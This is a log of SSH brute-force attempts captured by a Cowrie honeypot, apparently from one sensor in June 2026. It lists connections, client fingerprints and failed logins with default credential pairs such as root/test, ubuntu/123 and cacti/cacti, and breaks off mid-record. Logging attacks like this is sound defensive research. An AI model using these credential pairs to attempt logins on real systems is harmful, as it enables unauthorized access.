{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:06.129421Z","src_ip":"141.11.88.14","session":"c0644fb1c76c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":53500,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dfb0907fcfd","protocol":"ssh","message":"New connection: 36.92.41.115:53500 (10.17.0.5:22) [session: 6dfb0907fcfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:07.361140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:07.364684Z","src_ip":"36.92.41.115","session":"6dfb0907fcfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:07.622005Z","src_ip":"36.92.41.115","session":"6dfb0907fcfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:07.699463Z","src_ip":"141.11.88.14","session":"c0644fb1c76c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q11111111","message":"login attempt [root/Q11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:08.688582Z","src_ip":"36.92.41.115","session":"6dfb0907fcfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:09.057220Z","src_ip":"141.11.88.14","session":"c0644fb1c76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:09.948987Z","src_ip":"36.92.41.115","session":"6dfb0907fcfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":64878,"dst_ip":"10.17.0.5","dst_port":22,"session":"7647585f2cea","protocol":"ssh","message":"New connection: 141.11.88.14:64878 (10.17.0.5:22) [session: 7647585f2cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:11.951402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:12.098263Z","src_ip":"141.11.88.14","session":"7647585f2cea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:12.102062Z","src_ip":"141.11.88.14","session":"7647585f2cea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123","message":"login attempt [ubuntu/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:13.121594Z","src_ip":"141.11.88.14","session":"7647585f2cea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:14.217805Z","src_ip":"141.11.88.14","session":"7647585f2cea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52654,"dst_ip":"10.17.0.5","dst_port":22,"session":"d398eaeaaccf","protocol":"ssh","message":"New connection: 141.11.88.14:52654 (10.17.0.5:22) [session: d398eaeaaccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:17.870439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:17.936744Z","src_ip":"141.11.88.14","session":"d398eaeaaccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:17.981443Z","src_ip":"141.11.88.14","session":"d398eaeaaccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:18.577395Z","src_ip":"141.11.88.14","session":"d398eaeaaccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:19.844440Z","src_ip":"141.11.88.14","session":"d398eaeaaccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52682,"dst_ip":"10.17.0.5","dst_port":22,"session":"38a4cb09c252","protocol":"ssh","message":"New connection: 141.11.88.14:52682 (10.17.0.5:22) [session: 38a4cb09c252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:22.392654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:22.699515Z","src_ip":"141.11.88.14","session":"38a4cb09c252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:22.708599Z","src_ip":"141.11.88.14","session":"38a4cb09c252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"cacti","message":"login attempt [cacti/cacti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:25.160769Z","src_ip":"141.11.88.14","session":"38a4cb09c252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:26.811039Z","src_ip":"141.11.88.14","session":"38a4cb09c252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52712,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fec93dcaa5c","protocol":"ssh","message":"New connection: 141.11.88.14:52712 (10.17.0.5:22) [session: 2fec93dcaa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:27.322521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:27.656918Z","src_ip":"141.11.88.14","session":"2fec93dcaa5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:27.660379Z","src_ip":"141.11.88.14","session":"2fec93dcaa5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1111","message":"login attempt [test/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:30.276554Z","src_ip":"141.11.88.14","session":"2fec93dcaa5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:31.891677Z","src_ip":"141.11.88.14","session":"2fec93dcaa5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42874,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0ae50e1b196","protocol":"ssh","message":"New connection: 141.11.88.14:42874 (10.17.0.5:22) [session: b0ae50e1b196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:31.970612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:32.509545Z","src_ip":"141.11.88.14","session":"b0ae50e1b196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:32.513076Z","src_ip":"141.11.88.14","session":"b0ae50e1b196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":58574,"dst_ip":"10.17.0.5","dst_port":22,"session":"3342084e8b51","protocol":"ssh","message":"New connection: 41.86.34.139:58574 (10.17.0.5:22) [session: 3342084e8b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:34.699651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:34.703350Z","src_ip":"41.86.34.139","session":"3342084e8b51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:34.910335Z","src_ip":"41.86.34.139","session":"3342084e8b51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"pass123","message":"login attempt [minecraft/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:35.099922Z","src_ip":"141.11.88.14","session":"b0ae50e1b196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vnc","password":"123456","message":"login attempt [vnc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:35.775438Z","src_ip":"41.86.34.139","session":"3342084e8b51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:36.985260Z","src_ip":"41.86.34.139","session":"3342084e8b51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42950,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b2f0dfa1957","protocol":"ssh","message":"New connection: 141.11.88.14:42950 (10.17.0.5:22) [session: 8b2f0dfa1957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:37.176836Z"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:37.332582Z","src_ip":"141.11.88.14","session":"b0ae50e1b196","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:37.589706Z","src_ip":"141.11.88.14","session":"8b2f0dfa1957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"